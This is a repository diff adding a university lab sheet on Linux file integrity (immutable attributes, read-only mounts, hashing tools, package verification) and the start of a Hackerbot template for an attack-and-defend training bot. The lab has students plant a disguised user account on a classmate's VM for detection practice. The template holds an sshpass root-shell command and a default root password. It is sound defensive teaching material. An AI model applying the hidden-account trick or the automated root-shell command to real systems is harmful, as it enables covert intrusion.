+Consult the man page for information about what each of the above flags do.

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md

@@ -0,0 +1,959 @@
+# Integrity Management: Protecting Against and Detecting Change
+
+## Introduction
+
+These tasks can be completed on the openSUSE\_42.1 VM.
+
+This lab could be completed on most RPM-based Linux systems with these
+tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working
+together).
+
+## Preparation
+
+If you are working on campus in the IMS labs using the oVirt online
+labs, [*click here for instructions on how to login on campus in the IMS
+labs and create VMs from
+templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing).
+
+If you are working remotely using the oVirt online labs, [*click here
+for instructions on how to login via VPN and create VMs from
+templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing).
+
+The oVirt system is a new online lab infrastructure hosted here at Leeds
+Beckett. This infrastructure is **currently on trial, as a pilot**.
+There is a good chance there will be some technical issues, and not
+every lab will be available via this system. However, if you are happy
+to benefit from this experiment, please keep in mind that you may need
+to fall back to one of the above methods.
+
+If you are working remotely having downloaded our VMs or by copying them
+when you were on campus, [*click here for instructions on how to
+download VMware Player and configure the VMs to run
+remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY).
+
+If you are on campus using the IMS system, [*click here for instructions
+on how to use the IMS system and VM download
+scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA).
+
+Start these VMs:
+
+-   openSUSE\_42.1 (user: student password: student)
+
+    -   Two copies if working alone (Hint: change the desktop background
+        > of one VM so that you can easily keep track of which VM you
+        > are working on)
+
+Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT
+be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the
+root account -- that is bad practice, and should always be avoided.
+
+Some of these exercises can be completed with a classmate (or simply
+using two VMs), and assumes root access is available to each other's
+systems via an ssh server.
+
+> *Distance learning students*: If you would like to work with someone
+> else from the course, please contact each other via the course Google
+> group and share IP addresses.
+
+**On openSUSE**:
+
+Install the required packages:
+
+> sudo zypper install rsync md5deep perl openssh
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and
+availability. Protecting the integrity of information involves
+preventing and detecting unauthorised changes. In many commercial
+organisations integrity of information is the highest priority security
+goal. Managing who is authorised to make changes to databases or files,
+and monitoring the integrity of resources for unauthorised changes is an
+important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system,
+involves successfully managing a variety of security mechanisms, such as
+authentication, access controls and file permissions, firewalls, and so
+on.
+
+> On Linux systems this can include managing passwords, packet filtering
+> IPTables rules, standard Unix file permissions (rwx), Linux extended
+> attributes (including ACLs for detailed authentication, labels for
+> mandatory access control (MAC), and Linux Capabilities). Linux (like
+> other Unix-like and Unix-based systems) has a long history of adding
+> new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very
+> important for protecting the integrity of files, but are beyond the
+> scope of this lab. Here the focus is on techniques that are *entirely*
+> focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of
+unauthorised changes.
+
+### Protecting integrity with file attributes
+
+Unix systems (such as Linux or FreeBSD) include file attributes that,
+amongst other features, can make files immutable or append only. Setting
+these file attributes can provide an effective layer of security, and
+yet could be considered one of the more obscure Unix security
+features[^1]. Note that this feature is dependent on the use of a
+compatible filesystem (most Unix filesystems, such as ext, are
+compatible with file attributes). Once configured, file attributes can
+even prevent root (the all-powerful Unix superuser) from making changes
+to certain files.
+
+Open a terminal console (such as Konsole from
+![](media/media/image3.png) KDEMenu → System → Konsole).
+
+Start by creating a file with some content. Run:
+
+``
+ sudo bash -c 'cat > /var/log/mylogfile'
+ ``
+>
+> (Type some content, then press Ctrl-D to finish and return to the
+> prompt.)
+
+Look at the details of the file:
+
+> ls -la /var/log/mylogfile
+>
+> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile
+
+As we can see above, the file is owned by root, who has read-write
+access – exploring Unix file permissions further is outside the scope of
+this lab, but will be covered elsewhere.
+
+Run:
+
+> lsattr /var/log/mylogfile
+>
+> -------------e- /var/log/mylogfile
+
+The ‘e’ flag is common on ext filesystems, may or may not be present
+when you run the above, and does not really concern us. From a security
+perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man
+page for chattr to find out more about these flags and what they do:
+
+> man chattr
+>
+> (Press q to leave the manual page)
+
+Set the ‘i’ flag using the chattr command:
+
+> sudo chattr +i /var/log/mylogfile
+
+Now try to delete the file and see what happens:
+
+> rm /var/log/mylogfile
+
+Denied! Opps, that’s right, root owns the file (since you created it
+with sudo)! Use root to try to delete the file:
+
+> sudo rm /var/log/mylogfile
+
+It still didn’t work! That’s right, even root can’t delete the file,
+without changing the file’s attributes back first.
+
+Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”).
+
+Now run a command to set the ‘a’ flag on /var/log/mylogfile.
+
+If you have done so correctly, attempting to overwrite the file with a
+test message should fail:
+
+> sudo bash -c 'echo "test message" > /var/log/mylogfile'
+>
+> This should produce an error, since ‘>’ causes the output of the
+> program to be written to the specified log file, which is not allowed
+> due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+> sudo bash -c 'echo "*your-name*: test message" **>>**
+> /var/log/mylogfile'
+>
+> This should succeed, since ‘>>’ causes the output of the program
+> to be appended (added to the end of) to the specified log file, which
+> is allowed. Use your name above, for example “echo "Cliffe: test
+> message" >> /var/log/mylogfile”.
+
+View your changes at the end of the file:
+
+> tail /var/log/mylogfile
+
+This has obvious security benefits, this feature can be used to allow
+files to be written to without altering existing content. For example,
+for ensuring that log files can be written to, but avoiding giving
+everyone who can write to the file the ability to alter its contents.
+
+
+### Protecting integrity with read-only filesystems
+
+On Unix, a filesystem is mounted to a particular point in the directory
+structure; for example, a USB thumb drive may be mounted to
+/media/myUSB/. Some filesystems will automatically mount read-only; for
+example, if you insert a CD-ROM, since those disks are physically
+read-only. It is possible to optionally mount almost any filesystem,
+such as a USB or even a directory, in read-only mode, which will make it
+practically impossible to write changes to it (without remounting or
+accessing the drive/directory in other ways, which normally only root
+can do).
+
+> In a command prompt, run:
+>
+> mount
+>
+> Note that many of the devices and directories have been mounted for
+> read and write access (**rw**). For security reasons, it can be safer
+> to mount things as read-only, when we don’t need to be able to make
+> changes to the contents.
+>
+> Ordinary users can only read the /etc directory but the superuser root
+> who owns the /etc directory can read and write to it. In the following
+> example, you are going to mount the /etc directory to a mount point
+> (another directory within the filesystem) and the contents of the /etc
+> directory will be accessible via the mount point.
+>
+> List the contents of the /etc directory so you are familiar with its
+> contents:
+>
+> ls /etc
+>
+> Create a new directory to be the mount point:
+>
+> mkdir /home/student/test
+>
+> Mount the /etc directory to the new mount point:
+>
+> sudo mount -o bind /etc /home/student/test
+>
+> Make sure the /etc directory is accessible via the test directory
+> mount point:
+>
+> ls /home/student/test
+>
+> Ordinary users can only read but the superuser root can still write to
+> the directory. Test this by creating a new file as the superuser root
+> in the /home/student/test directory:
+>
+> sudo touch /home/student/test/file1
+>
+> Check that a new file has been created using the following commands
+>
+> ls -l /home/student/test/fi\*
+>
+> ls -l /etc/fi\*
+>
+> We can use this techniques to make filesystems and directories
+> read-only. In the next example you will remount the etc in read-only
+> mode so that even the superuser root who owns the /etc directory
+> cannot make changes to its contents via the mount point.
+>
+> sudo mount -o remount,ro,bind /etc /home/student/test
+>
+> Test this by trying creating a new file as the superuser root in the
+> /home/student/test directory:
+>
+> sudo touch /home/student/test/file2
+>
+> This should prevent changes being accidently being made to important
+> configuration files in the /etc directory.
+>
+> Remount the the /etc directory as read-only to itself:
+>
+> sudo mount -o remount,ro,bind /etc /etc
+
+Mounting read-only can be an effective way of protecting resources that
+you don’t need to make any changes to. Read-only mounting is
+particularly effective when an actual disk resides externally, and can
+be enforced remotely. For example, when sharing files over the network.
+
+Note that mounting read-only may be circumvented by root (or a user with
+enough privilege) via direct access to the device files (/dev/sdc1 in
+the example above), or by re-mounting as read-write.
+
+Aside: in new versions of Linux, it is also possible to have a directory
+(one part of what is on a disk) present in the directory structure twice
+with different mount options (for example, /home/cliffe and
+/home/cliffe-read-only). This can be achieved by bind mounting, and then
+remounting to set the bind mount to read only. More information:
+[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/)
+
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest
+defenses can fail, and when they do we want to know about it! In order
+to respond to a security incident we need to detect that one has
+occurred. One way we do so, is to detect changes to files on our system.
+
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the
+system or resources in a clean state. One advantage of this approach is
+that we cannot only detect that files have changed, but also see exactly
+how they differ.
+
+You can (and, if possible, should) **conduct this exercise with a
+classmate**.
+
+Make a backup of your /etc/passwd file:
+
+> cp /etc/passwd /tmp/passwd\_backup
+
+This file (/etc/passwd) is an important file on Unix systems, which
+lists the user accounts on the system. Although historically the hashes
+of passwords were once stored here, they are now typically stored in
+/etc/shadow. Changes to the /etc/passwd file are usually infrequent –
+such as when new user accounts are created – and changes should only be
+made for authorised purposes.
+
+At this point, also make sure you have a backup of any work.
+
+If you are working with a classmate or using two VMs, once you (and your
+classmate or on the other VM) have saved a backup copy of your own
+passwd file using the above command, then connect to your classmate’s
+computer (other VM) using ssh:
+
+> Set your root password to a password you will share with your
+> classmate:
+>
+> sudo passwd
+>
+> Enable your SSH server:
+>
+> sudo /sbin/service sshd start
+>
+> Open port 22 for ssh access to your computer
+>
+> Click KDEMenu → System → Yast
+>
+> Click Firewall in the Security and Users section
+>
+> Click “Allowed Services”
+>
+> Choose “Secure Shell Server” from the “Service to Allow” drop down
+> list
+>
+> Click Add to add ssh to the list of allowed services.
+>
+> Click Next → Finish and close Yast
+>
+> Find your IP address using ifconfig, and tell your classmate your IP
+> address and root password.
+>
+> ssh *their-ip-address*
+>
+> (Where *their-ip-address* is as noted earlier.) You will be prompted
+> for student account password.
+>
+> Switch to the root user (you will be prompted for the root password):
+>
+> su -
+>
+> If you do not know each other’s root password, then feel free to log
+> each other in on an ssh session as root.
+
+Now that you have root access to their system[^2], add a new user to
+their computer... Your aim is to make the new account hard to notice. If
+you are working alone, just do this on your own system:
+
+> useradd *new-username*
+>
+> Where new-username, is some new name. Don’t tell your classmate the
+> name of the account you have created. You may want to create a
+> username that looks innocent.
+
+To make things even more interesting, edit the /etc/passwd file and move
+the new user account line somewhere other than right at the bottom, so
+that it is less obvious:
+
+> vi /etc/passwd
+>
+> Move the cursor onto the line representing your new account (probably
+> at the bottom).
+>
+> In vi type:
+>
+> :m *-number*
+>
+> Where number is the number of lines to move up, for example: “:m -20”
+> will move the currently selected line up 20 lines, “hiding” the new
+> user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Now exit ssh:
+
+> exit
+
+If you are working with a together, look at the changes your classmate
+made on your computer, and try to spot the new user account:
+
+> less /etc/passwd
+>
+> (q to exit)
+
+It’s not as easy as it sounds, especially if your system has lots of
+user accounts.
+
+Since you have a backup of your passwd file, you can compare the backup
+with the current passwd file to determine it has been modified. One such
+tool for determining changes is diff. Diff is a standard Unix command.
+Run:
+
+> diff -q /tmp/passwd\_backup /etc/passwd
+
+Diff should report that the two files differ. Diff can also produce an
+easy to read description of exactly how the file has changed. This is a
+popular format used by programmers for sharing changes to source code:
+
+> diff -u /tmp/passwd\_backup /etc/passwd
+
+There are many advantages to the comparison of backups approach to
+detecting changes, but it also has its limitations. To apply this
+approach to an entire system, you will need a fairly large amount of
+either local or network shared storage, and writes need to be controlled
+to protect the backups, yet written to whenever authorised changes are
+made to keep the backup up-to-date. Also, when the comparisons are made
+substantial disk/network access is involved, since both both sources
+need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did
+you think of editing your classmates backup passwd file? This is related
+to a major issue when checking for changes to the system: if your system
+has been compromised, then you can’t necessarily trust any of the local
+software or files, since they may have been replaced or modified by an
+attacker. For that reason, it can be safer to run software (such as
+diff) from a separate read-only storage. Yet that still may not be
+enough, the entire operating system could be infected by a rootkit.
+
+Aside: Filesystems, such as btrfs, that support history and snapshots
+can also be helpful for investigating breaches in integrity.
+
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes
+of files in their known good state. Rather than storing and comparing
+complete copies, a one way hash function can be used to produce a fixed
+length hash (or “digest”), which can be used for later comparisons.
+Hashes have security properties that enable this use:
+
+-   Each hash is unique to the input
+
+-   It is extremely difficult (practically impossible) to find another
+    > input that produces the same hash output
+
+-   Any change to the input (no matter how minor) changes the output
+    > hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether
+the file has changed (if the hash is different), or it is exactly the
+same (if the hash is the same). If you have studied digital forensics,
+many of these concepts will be familiar to you, since hashes are also
+commonly used for verifying the integrity of digital evidence.
+
+Generate an MD5 hash of your backup password file, which you copied
+above:
+
+> md5sum /tmp/passwd\_backup
+
+Now calculate a hash of your current passwd file:
+
+> md5sum /etc/passwd
+
+If the generated hashes are different, you know the files do not have
+exactly the same content.
+
+Note that using hashes, there is no need to have the backup on-hand in
+order to check the integrity of files, you can just compare a newly
+generated hash to a previous one.
+
+Repeat the above two commands using shasum rather than md5sum. SHA1 and
+SHA2 are considered to be more secure than the “cryptographically
+broken” MD5 algorithm. Although MD5 is still in use today, it is safer
+to use a stronger hash algorithm, since MD5 is not collision-resistant,
+meaning it is possible to find multiple files that result in the same
+hash. SHA1 is considered partially broken, so a new algorithm such as
+SHA2 is currently a good option. There are a number of related commands
+for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and
+so on. These commands (as well as those in the next section) are readily
+available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously
+generated hashes. A number of these kinds of tools exist, and these can
+be considered a form of host-based intrusion detection system (HIDS),
+particularly if the checking happens automatically. One of the most well
+known integrity checkers is Tripwire, which was previously released open
+source; although, new versions are closed source and maintained by
+Tripwire, Inc, with a more holistic enterprise ICT change management
+focus. There are other tools similar to Tripwire, such as AIDE (Advanced
+Intrusion Detection Environment), and OSSEC (Open Source Host-based
+Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check
+a list of file hashes.
+
+Create an empty file, where *your-name*, is your actual name:
+
+> touch *your-name*
+
+Run the following to generate a file containing hashes of files we can
+later check against:
+
+> shasum *your-name* >> /tmp/hash.sha
+>
+> shasum /etc/passwd >> /tmp/hash.sha
+>
+> sudo shasum /etc/shadow >> /tmp/hash.sha
+>
+> shasum /bin/bash >> /tmp/hash.sha
+>
+> shasum /bin/ls >> /tmp/hash.sha
+
+Look at the contents of our new hashes file (Q to quit when done):
+
+> less /tmp/hash.sha
+
+Now use your new hash list to check that nothing has changed since we
+generated the hashes:
+
+> shasum -c /tmp/hash.sha
+
+Why does shasum fail to check the integrity of the shadow file?
+
+Make a change to our empty “*your-name*” file:
+
+> echo "hello" > *your-name*
+
+Check whether anything has changed since we generated hashes:
+
+> shasum -c /tmp/hash.sha
+
+You should see a nice explanation of the files that have changed since
+generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a
+Perl script):
+	
+	#!/usr/bin/perl
+	
+	# Copyleft 2012, Z. Cliffe Schreuders
+	
+	# Licenced under the terms of the GPLv3
+	
+	use warnings;
+	
+	use strict;
+	
+	my %files\_hashes = (
+	
+		"/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+	
+		"/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+	
+		"/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+	
+	);
+	
+	foreach my \$file\_entry (keys %files\_hashes) {
+	
+	my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`;
+	
+	chomp(\$hash);
+	
+	if(\$hash ne \$files\_hashes{\$file\_entry}){
+	
+	warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected
+	\$files\_hashes{\$file\_entry})\\n";
+	
+	} else {
+	
+	print "File unmodified: \$file\_entry (hash was \$hash, as
+	expected)\\n";
+	
+	}
+	
+	}
+
+This script simply iterates over a list of file paths with SHA1 hashes
+(stored in an associative array), and runs sha1sum for each one to check
+whether the files are still the same.
+
+Save the script as checker.pl (Help: you may wish to install the default
+KDE GUI text editor Kate, if it is not already installed under the
+Utlities menu. You should be able to copy the script and paste it into
+Kate to save it as checker.pl. Kate can be installed using the following
+command: “sudo zypper install kate”)
+
+Then run the script with:
+
+> perl checker.pl
+
+Are the files reported as unmodified, or have they changed? Why might
+they be different to when I wrote the script?
+
+##### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for
+different hash algorithms) can recursively walk through directories (and
+into all contained subdirectories) to generate and check lists of
+hashes.
+
+Run:
+
+> sudo sha1deep -r /etc
+>
+> If the md5deep command is not available, install it:
+>
+> On openSUSE this can be done by first running “cnf sha1deep”, to find
+> the name of the package containing the program, then run the install
+> command it gives you, such as “sudo zypper install md5deep”.
+>
+> If you get “PackageKit is blocking zypper”, then select “no”, and kill
+> PackageKit, by running “kill -9 *pid*”, where *pid* is the number
+> reported by the previous command. Now run the above again.
+>
+> If the zypper command is stuck on refreshing a repository, then press
+> “Ctrl-C”, “a” (for abort), then proceed with the installation as per
+> normal.
+>
+> Once the required software is installed, try the sha1deep command
+> again.
+
+The output of the above command will include hashes of every file in
+/etc, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+> man sha1deep
+>
+> Figure out what the -r flag does.
+>
+> (Q to quit)
+
+We can save (redirect) this output to a file so that we have a record of
+the current state of our system’s configuration:
+
+> sudo sha1deep -r /etc > /tmp/etc\_hashes
+
+This may take a minute or so, while the program calculates the hashes
+and sends them to standard out (known as stdout), which is then
+redirected to the etc\_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual
+content that we have hashed...
+
+See how big our list of hashes is:
+
+> ls -hs /tmp/etc\_hashes
+>
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc:
+
+> sudo du -hs /etc
+>
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, the list of hashes is much smaller.
+
+If you are **working with a classmate**, log into their system using ssh
+(as done previously). If you are working alone, simply run all the
+commands on your own system.
+
+Create a new file somewhere in /etc/, containing your name. Name the
+file whatever you like (for example /etc/test), although the more
+inconspicuous the better.
+
+> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing
+> your name, “Esc”, “:wq”.
+
+Also, change an existing file in /etc on their system, but please do be
+careful to only make a minor change that will **not cause damage to
+their system**. For example, you could use vi to edit /etc/hostname
+(“sudo vi /etc/hostname”), and add a comment to the file such as
+“\#your-name: bet you can’t find this comment!”
+
+You can now “exit” the ssh session.
+
+**On your own system**, lets try to identify what the “attacker” has
+done to our system...
+
+Now that we have a list of hashes of our files, use shasum to check if
+anything has changed using our newly generated list of hashes
+(/tmp/etc\_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by
+checking all of the files it is told to check (possibly recursing over
+all files in a directory) against a list of hashes, and reporting
+whether any files it checked did not (or did, depending on the flags
+used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash
+previously generated:
+
+> sudo sha1deep -X /tmp/etc\_hashes -r /etc
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+> sudo cp /etc/passwd /etc/passwd.backup
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or
+sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more
+coverage when it comes to detecting files that have moved, changed, or
+created.
+
+Generate a hash list for /etc using hashdeep:
+
+> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes
+
+Hashdeep stores hashes in a different format than the previous tools.
+Have a look:
+
+> less /tmp/etc\_hashdeep\_hashes
+>
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file
+> size for each file.
+
+Delete the new file that your “attacker” (the person who sshed into your
+system) created earlier:
+
+> sudo rm /etc/*whatever-the-filename-was*
+
+Conduct a hashdeep audit to detect any changes:
+
+> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc
+>
+> Note, that this can take a while, so feel free to start working
+> through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the
+default message does not provide any information as to why an audit has
+failed:
+
+> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc
+
+Consult the man page for information about what each of the above flags
+do.
+
+#### Detecting changes to resources using package management
+
+On Linux systems, package management systems are used to organise,
+install, and update software. The package management system has a
+database that keeps track of all the files for each program or software
+package. Depending on the package management system used, the database
+may maintain hashes in order to detect changes to files since install.
+RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes
+of each file that is included in software packages. There are commands
+that can be used to detect changes to files that have occurred since
+being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of
+files to not match the “fresh” versions that were installed: for
+example, configuring a system for use will involve editing configuration
+files that were distributed with software packages.
+
+The “rpm” command has a -V flag for verifying the integrity of packages.
+
+Choose any system file on the computer, such as /etc/securetty. To
+determine which package the file belongs to:
+
+> rpm -q --whatprovides *any-file-you-chose*
+>
+> Where any-file-you-chose is any file such as /etc/securetty.
+
+The output of that command the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+> rpm -V *package-name*
+>
+> Where package-name is the output from the previous command.
+
+An example from the output would be:
+
+> 5S.T..... c /etc/securetty
+
+Which means, it is a config file (c), and:
+
+-   S – file Size differs
+
+-   M – Mode differs (includes permissions and file type)
+
+-   5 – MD5 sum differs
+
+-   D – Device major/minor number mismatch
+
+-   L – readLink(2) path mismatch
+
+-   U – User ownership differs
+
+-   G – Group ownership differs
+
+-   T – mTime differs
+
+-   P – caPabilities differ
+
+Use the above information to understand the output from your above rpm
+-V command.
+
+Next verify the integrity of all of the packages on the entire system
+(this may take a while):
+
+> rpm -Va
+
+Try to understand the cause of any files failing the integrity checks.
+
+Consider the limitations of this approach: what files will (and won’t)
+this approach to integrity management cover?
+
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a
+system is compromised, you may not be able to trust any of the tools on
+the system, or even the operating system itself to behave as expected.
+In the case of a security compromise, your configuration files may have
+been altered, including any hashes you have stored locally, and tools
+may have been replaced by Trojan horses. For this reason it is safer to
+run tools over the network or from a removable drive, with read-only
+access to protect your backups and hashes. Even then, the
+OS/kernel/shell may not be telling you the truth about what is
+happening, since a rootkit could be concealing the truth from other
+programs.
+
+### Problem-based tasks
+
+#### Choosing files for integrity checking
+
+Fill in the table below with a number of files on a Unix or Windows
+system whose integrity should be monitored for security purposes:
+
+  **Filename**          **Description**           **Security reason for monitoring integrity**
+  --------------------- ------------------------- ---------------------------------------------------------------------------------------------------------------------
+  *Unix: /etc/passwd*   *List of user accounts*   *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system*
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+                                                  
+
+**Complete the table above, with a number of Unix/Windows files that
+should be monitored for integrity, as evidence that you have completed
+this part of the task.**
+
+**Label it or save it as “Integrity-A1”.**
+
+Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a
+cron job, so that every hour the integrity of some important files are
+checked, and any errors are emailed to root.
+
+Hints: Any output on standard error (stderr) on a cron job results in a
+local email to root. As root, type “mail” to read the local emails. Run
+“crontab -e” to add scheduled tasks. Google will certainly help here.
+
+Help: You may find the following links if you have not used cron before
+to run scheduled tasks.
+
+[*Click here for an openSUSE
+Video*](https://www.youtube.com/watch?v=bQfza9aLjss)
+
+[*Click here for a cron
+tutorial*](http://www.computerhope.com/unix/ucrontab.htm)
+
+[*Click here for cron
+examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/)
+
+**Take screenshots of an hourly cronjob rule, and email with an
+integrity report from md5sum/deep or hashdeep, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A2”.**
+
+Add to your above solution, by considering and implementing some
+protection against modifications to your hash file/database.
+
+**Take a screenshot of your configuration for protection of the hash
+file (and include a one sentence description), as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A3”.**
+
+Install either OSSEC (Open Source Host-based Intrusion Detection
+System), AIDE (Advanced Intrusion Detection Environment), or Tripwire
+(if you can find a copy), and use it to monitor the integrity of your
+files. Modify a file named *your-name* (your actual name) and view a
+report or alert that the integrity of the file has been compromised.
+
+**Take a screenshot of a report from OSSEC or AIDE that a file named
+after you has been altered, as evidence that you have completed this
+part of the task.**
+
+**Label it or save it as “Integrity-A4”.**
+
+Add to the integrity monitoring script given earlier, to store and
+retrieve the hashes from a file.
+
+For extra marks, protect the hashes using a HMAC, with user interaction
+to enter a password.
+
+**Save your modifications of the script, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A5”.**
+
+### Resources
+
+An excellent resource on the subject of integrity management is Chapter
+20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*,
+by Garfinkel et al (2003).
+
+[^1]: Setting a file to immutable (and therefore impossible to simply
+    delete) can be an effective prank against the uninitiated in Unix
+    ways.
+
+[^2]: It is obvious that there are risks associated with knowing each
+    other’s root passwords! Obviously, use this knowledge responsibly to
+    work together to complete the tasks.
+    
+## License
+
+![](media/media/image4.png)
+
+This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons
+Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+

modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb

@@ -0,0 +1,223 @@
+<%
+  require 'json'
+  require 'securerandom'
+  require 'digest/sha1'
+  require 'fileutils'
+  require 'erb'
+
+  if self.accounts.empty?
+    abort('Sorry, you need to provide an account')
+  end
+
+  $first_account = JSON.parse(self.accounts.first)
+  $second_account = JSON.parse(self.accounts[1])
+
+  $files = []
+  $log_files = []
+  if $first_account.key?("leaked_filenames") &&  $first_account['leaked_filenames'].size > 0
+    $files = $first_account['leaked_filenames']
+    $log_files = $first_account['leaked_filenames'].grep(/log/)
+  end
+
+  if $files.empty?
+    $files = ['myfile', 'afile', 'filee', 'thefile']
+  end
+  if $log_files.empty?
+    $log_files = ['log', 'thelog', 'logs', 'frogonalog']
+  end
+
+  $main_user = $first_account['username'].to_s
+  $second_user = $second_account['username'].to_s
+  $example_file = "/home/#{$main_user}/#{$files.sample}"
+  $example_dir = "/home/#{$main_user}/personal_secrets/"
+
+  $root_password = self.root_password
+  $flags = self.flags
+
+  REQUIRED_FLAGS = 5
+  while $flags.length < REQUIRED_FLAGS
+    $flags << "flag{#{SecureRandom.hex}}"
+    Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+  end
+
+  def get_binding
+    binding
+  end
+%>
+<?xml version="1.0"?>
+
+<hackerbot
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xsi:schemaLocation="http://www.github/cliffe/SecGen/hackerbot">
+<!--<hackerbot xmlns="http://www.github/cliffe/SecGen/hackerbotz"-->
+
+	<name>Hackerbot</name>
+
+	<AIML_chatbot_rules>config/AIML</AIML_chatbot_rules>
+
+	<!--Method for gaining shell access, can be overwritten per-attack-->
+	<!--<get_shell>bash</get_shell>-->
+	<get_shell>sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash</get_shell>
+
+	<messages>
+		<greeting>Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me.</greeting>
+
+		<!--Must provide alternatives for each message-->
+		<say_ready>Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.</say_ready>
+		<say_ready>When you are ready, simply say 'ready'.</say_ready>
+		<say_ready>'Ready'?</say_ready>
+		<say_ready>Better hurry, the attack is imminent... Let me know when you're 'ready'.</say_ready>
+		<next>Ok, I'll do what I can to move things along...</next>
+		<next>Moving things along to the next attack...</next>
+		<next>Ok, next attack...</next>
+		<previous>Ok, I'll do what I can to back things up...</previous>
+		<previous>Ok, previous attack...</previous>
+		<previous>Ok, backing up.</previous>
+		<goto>Ok, skipping it along.</goto>
+		<goto>Let me see what I can do to goto that attack.</goto>
+		<last_attack>That was the last attack for now. You can rest easy, until next time... (End.)</last_attack>
+		<last_attack>That was the last attack. Game over?</last_attack>
+		<first_attack>You are back to the beginning!</first_attack>
+		<first_attack>This is where it all began.</first_attack>
+		<getting_shell>Ok. Gaining shell access, and running post command...</getting_shell>
+		<getting_shell>Hacking in progress...</getting_shell>
+		<getting_shell>Attack underway...</getting_shell>
+		<getting_shell>Here we go...</getting_shell>
+		<got_shell>We are in to your system.</got_shell>
+		<got_shell>You are pwned.</got_shell>
+		<got_shell>We have shell.</got_shell>
+		<repeat>Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.</repeat>
+		<repeat>Say 'ready', 'next', or 'previous'.</repeat>
+
+		<!--Single responses:-->
